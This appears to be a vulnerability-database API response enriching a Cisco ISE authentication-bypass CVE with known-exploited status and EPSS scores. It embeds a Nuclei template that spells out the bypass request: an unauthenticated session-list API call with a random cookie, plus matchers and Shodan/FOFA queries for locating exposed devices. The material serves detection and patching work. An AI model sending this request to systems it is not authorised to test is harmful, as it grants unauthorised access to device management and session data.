{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-76460/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-76460/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-76460/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-76460/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-76460/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-76460/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-76460"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-76460"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.75599,
      "kev": true,
      "percentile": 0.9952
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-76460.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-76460\n\ninfo:\n  name: Cisco Identity Services Engine - ise-kong API Gateway Authentication Bypass\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    Cisco Identity Services Engine contains an authentication bypass caused by insufficient authentication control on an API endpoint, letting unauthenticated remote attackers gain unauthorized access, exploit requires crafted request to API endpoint.\n  impact: |\n    Unauthenticated remote attackers can bypass authentication and gain unauthorized access to the device management interface.\n  remediation: |\n    Update to the latest available version with the fix.\n  reference:\n    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-ABP-VNSW7Tn5\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-76460\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-76460\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2026-76460\n    epss-score: 0.75599\n    epss-percentile: 0.99521\n    cwe-id: CWE-648\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: cisco\n    product: identity_services_engine\n    shodan-query: http.favicon.hash:-945076912\n    fofa-query: title=\"identity services engine\"\n  tags: cve,cve2026,cisco,cisco-ise,auth-bypass,kev,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /admin/API/mnt/Session/ActiveList HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: false\n    max-redirects: 0\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401'\n          - 'contains_any(body, \"iseApiResponse\", \"Unauthorized\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /admin/API/mnt/Session/ActiveList HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: APPSESSIONID={{randstr}}\n\n    redirects: false\n    max-redirects: 0\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"xml\")'\n          - 'contains(body, \"activeSessionListResult\")'\n          - '!contains_any(body, \"Unauthorized\", \"iseApiResponse\", \"login.jsp\")'\n        condition: and\n\n    extractors:\n      - type: kval\n        kval:\n          - x_ise_version\n# digest: 490a00463044022045eacb32c23ac254865f7a1c3c031ce74bcc72ae086d6edf438ebe3a7c2f2f23022042767cfb1f417d13949c2ca7ab75b2a295c33dcfeb2d5b50f18123b0d46cba38:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-76460"
}